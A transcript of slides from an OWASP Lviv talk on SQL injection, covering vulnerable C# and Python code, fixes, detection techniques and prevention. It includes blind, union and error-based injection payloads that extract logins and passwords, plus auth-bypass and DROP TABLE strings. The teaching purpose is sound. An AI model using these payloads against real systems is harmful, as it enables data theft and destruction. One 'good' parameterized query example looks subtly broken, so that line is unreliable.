hack through injections

Post on 06-Jul-2015

1.100 Views

Category:

Technology

2 Downloads

Preview:

Click to see full reader

DESCRIPTION

IT Weeked SQL injections Introduction. More Advanced topic will be presented on next Security Hole.

TRANSCRIPT

Hacking through Injections.

Theory and practice

By Nazar Tymoshyk, SoftServeOWASP-LVIV.blogspot.com

Specially for IT-Weekend Lviv

Theory:

CODE problems

Impact

How to find

How to prevent

Practice:

Small hack

References

Training Lab

Agenda

What do you see in this request?

GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1

Host: superdupershop.com

Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH=f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a8105340b8ccc6c8e64dfa37ae953f987517

Unauthorized database access by an external source using specially crafted code to piggyback on standard user input to bypass normal protections.

Why?

Gain access to restricted website areas

Query unauthorized data

Delete or corrupt data

What is SQL Injection? User accounts, credentials, and personal

information

Descriptions and prices of goods for sale

Orders, account statements, and payment

details

The privileges of each user within the

application

This is a real problem and it’s dangerous

• DoS

• Data loss or corruption

• Data leakage

• Sometimes can lead to complete host takeover

• Reputation can be harmed.

Let’s start from small HACK

http://127.0.0.1:8888/mutillidae/

SQL-i

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’

INJECT : admin’--

SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’

SELECT * FROM users WHERE username = ‘admin’

Consequences

Training Lab• DVWA

• Gruyere

• WebGoat .Net

• WebGoat Java

• https://xss-game.appspot.com/

• OWASP Mutillidae II

• OWASP Broken Web Applications Project

• https://www.hacking-lab.com

Aha, here is a source code for firsrequest

var shopId = Request["shopId"];

var productId = Request["productId"];

var coupon = Request["coupon"];

var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon);

var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE

coupon LIKE {0}", coupon);

var cmd = new SqlCommand(sqlCommandTxt, dataConnection);

// Execute query, process result etc...

Let’s Fix this code.

var shopId = Request["shopId"];

var productId = Request["productId"];

var coupon = Request["coupon"];

var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon);

var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE @couponPattern", dataConnection);

cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern));

// Execute query, process result etc...

Is it fixed?

Now it’s fixed

var shopId = 0;

if (!int.TryParse(Request["shopId"], out shopId))

{ throw new InvalidArgumentException();

}

var productId = 0;

if (!int.TryParse(Request["productId"], out productId))

{ throw new InvalidArgumentException();

}

var coupon = Request["coupon"];

if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$"))

{ throw new InvalidArgumentException();

}

var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon);

var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection);

cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern));

// Execute query, process result etc...

Python Code

import MySQLdb

def book_search_view(request):

if 'bookname' not in request.GET:

raise Http404

conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db ="test")

cursor = conn.cursor ()

name = request.GET['bookname']

cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name)

row = cursor.fetchone ()

cursor.close ()

conn.close ()

return render_to_response('booklist.html', row, context_instance=RequestContext(request))

A small problem

• Normal SQL • name=“Moby Dick”

SELECT * FROM table_books WHERE book_name = ‘Moby Dick’

• SQL Injection – bad day

• name=“1’; SELECT * from Users; --”

SELECT * FROM table_books WHERE book_name = ‘1’;

SELECT * from Users;

--’

• SQL Injection 2 – really bad day

• name=“1’; DROP TABLE Users; --”

SELECT * FROM table_books WHERE book_name = ‘1’;

DROP TABLE Users;

--’

Java Code

Detection Techniques

DEMO 2

Testing security tools:

•SQL Map

•Burp Suite

MANUAL Penetration Testing

• Error

• UnionIn-band

• Dns

• PingOut-band

• Sleep

• WaitforInferential

(Blind)

This is old problem BLIND• sleep%281%29%2b1%29%20limit%201%20--

• sleep(1)+1) limit 1 --

• 1+and+sleep(10)--

• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)--

• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)--

• +OR+1=1--

• +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--

• +union+select+concat_ws(0x3a,id,login,password,name)+from+users--

• +union+select+concat_ws(0x3a,id,login,password,name)+from+users--

• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+0,1)))--

• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+0,1)))--

• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+3,1)))--

• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+4,1)))--

• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,login,password)+from+users1+limit+0,1)))--

Typical examples of cases when an application needs to talk to a DB include:

The first step in this test is to understand when the application

interacts with a DB Server in order to access some data.

1. Authentication forms: when authentication is performed using a

web form, chances are that the user credentials are checked

against a database that contains all usernames and passwords (or,

better, password hashes).

2. Search engines: the string submitted by the user could be used in

a SQL query that extracts all relevant records from a database.

3. E-Commerce sites: the products and their characteristics (price,

description, availability, etc) are very likely to be stored in a

database.

Prevention

General approaches to SQL Injection Defense

Primary Defenses:Option #1: Use of Prepared Statements (Parameterized Queries)

Option #2: Use of Stored Procedures

Option #3: Escaping all User Supplied Input

Additional Defenses:Also Enforce: Least Privilege

Also Perform: White List Input Validation

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Where to Learn more

• http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture

• http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application-security-risks

• http://www.irongeek.com/i.php?page=security/hackingillustrated

• http://google-gruyere.appspot.com/

• https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)

http://OWASP-LVIV.blogspot.com

Thank you

Contact me:

Nazar Tymoshyk

Skype: root_nt

Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com

Blind SQL injections

http://site/?param=-1 OR 1=1http://site/?param=-1 OR 1=1--...http://site/?param=-1'http://site/?param=-1' AND 1=2...http://site/?param=-1' OR '1'='1...http://site/?param=-1"/*...http://site/?param=2http://site/?param=1http://site/?param=2-1...http://site/?param=1' AND 1=1http://site/?param=1' AND '1'='1

Double Blind SQL-i

• http://site/?param=-1 AND benchmark(2000,md5(now()))

• ...

• http://site/?param=-1' AND benchmark(2000,md5(now()))--

Escape User Input

• Hard to do right

• You’ll probably screw it up if you don’t cover all the cases• So don’t write your own regex

• MySQLdb.escape_string• Pro: Handles almost all encoding evasions

• Con: Error prone because it depends on humans to always use it

import MySQLdb

def book_search_view(request):

if 'bookname' not in request.GET:

raise Http404

conn = MySQLdb.connect (host = "localhost", user = "testuser",

passwd = "testpass", db = "test")

cursor = conn.cursor ()

name = MySQLdb.escape_string(request.GET['bookname'] )

cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" %name)

row = cursor.fetchone ()

cursor.close ()

conn.close ()

return render_to_response('booklist.html', row, context_instance=RequestContext(request))

What does the escaped version look like?

• SQL Injection – bad day• name=“1’; SELECT * from Users; --”

SELECT * FROM table_books WHERE book_name = ‘1\’; SELECT * from Users; --’

• SQL Injection 2 – really bad day• name=“1’; DROP TABLE Users; --”

SELECT * FROM table_books WHERE book_name = ‘1\’;DROP TABLE Users; --’

Evasion Techniques

http://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf

Even more Evasion Techniques

• Multibyte atttacks• http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

• http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html

• Even the experts don’t get it right• MySQL patches bugs in their escaping routines

White List

• Scrub data to a known set of inputs

• Pros• Works well for variables with limited range

• Fast

• Cons• Can only be used in customized locations

• Error prone• You might forgot

• Or the intern might not understand

• Example: user id must only contain 6 numbers

Stored Procedures

• Use the inherent store procedure capabilities

• Pros• Forces parameterization of all user input

• Cons• Can still be bypassed if sql string is generated in code and passed to stored

procedure

• Not portable between databases

Parameterized Queries

• Use DB API (mysqldb.execute) properly

• Use Django ORM

• Use SQLAlchemy (pylons, flask)• Really have to work hard to expose yourself

• Pros• Generally easier to model data

• Cons• ORMs sometimes limit advanced SQL

• Bottom line: use a framework!

MySQLdb.execute

Bad:cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name)

Good:cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name)

Seriously?

Yes

Thank you

Contact me:

Nazar Tymoshyk

Skype: root_nt

Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com

top related